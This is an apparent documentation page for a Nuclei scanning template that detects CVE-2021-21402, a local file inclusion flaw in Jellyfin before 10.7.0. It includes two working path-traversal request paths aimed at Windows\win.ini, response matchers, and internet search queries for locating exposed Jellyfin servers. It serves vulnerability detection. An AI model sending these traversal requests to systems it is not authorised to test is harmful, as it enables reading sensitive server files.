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Jellyfin <10.7.0 - Local File Inclusion

ID: CVE-2021-21402

Severity: medium

Author: dwisiswant0

Tags: cve,cve2021,jellyfin,lfi

Description

Section titled “Description”

Jellyfin before 10.7.0 is vulnerable to local file inclusion. This issue is more prevalent when Windows is used as the host OS. Servers exposed to public Internet are potentially at risk.

YAML Source

Section titled “YAML Source”
id: CVE-2021-21402


info:
  name: Jellyfin <10.7.0 - Local File Inclusion
  author: dwisiswant0
  severity: medium
  description: |
    Jellyfin before 10.7.0 is vulnerable to local file inclusion. This issue is more prevalent when Windows is used as the host OS. Servers exposed to public Internet are potentially at risk.
  impact: |
    Successful exploitation could allow an attacker to read sensitive files on the server.
  remediation: This is fixed in version 10.7.1.
  reference:
    - https://securitylab.github.com/advisories/GHSL-2021-050-jellyfin/
    - https://github.com/jellyfin/jellyfin/security/advisories/GHSA-wg4c-c9g9-rxhx
    - https://github.com/jellyfin/jellyfin/releases/tag/v10.7.1
    - https://github.com/jellyfin/jellyfin/commit/0183ef8e89195f420c48d2600bc0b72f6d3a7fd7
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21402
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2021-21402
    cwe-id: CWE-22
    epss-score: 0.2223
    epss-percentile: 0.96475
    cpe: cpe:2.3:a:jellyfin:jellyfin:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: jellyfin
    product: jellyfin
    shodan-query:
      - http.html:"Jellyfin"
      - http.html:"jellyfin"
      - http.title:"jellyfin"
    fofa-query:
      - title="Jellyfin" || body="http://jellyfin.media"
      - title="jellyfin"
      - body="jellyfin"
      - title="jellyfin" || body="http://jellyfin.media"
    google-query: intitle:"jellyfin"
  tags: cve,cve2021,jellyfin,lfi


http:
  - method: GET
    path:
      - "{{BaseURL}}/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/"
      - "{{BaseURL}}/Videos/1/hls/m/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/"


    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "Content-Type: application/octet-stream"


      - type: regex
        part: body
        regex:
          - "\\[(font|extension|file)s\\]"


      - type: status
        status:
          - 200
# digest: 4a0a0047304502200881c13f3749b1b8cf85ab318589d37e276fdf26e499ead2e58c844b11257eef022100f1a88b02e5d4f865ebba32533d0c2fc8570ea77c0d732de387ff4f151e6d37bc:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-21402.yaml"

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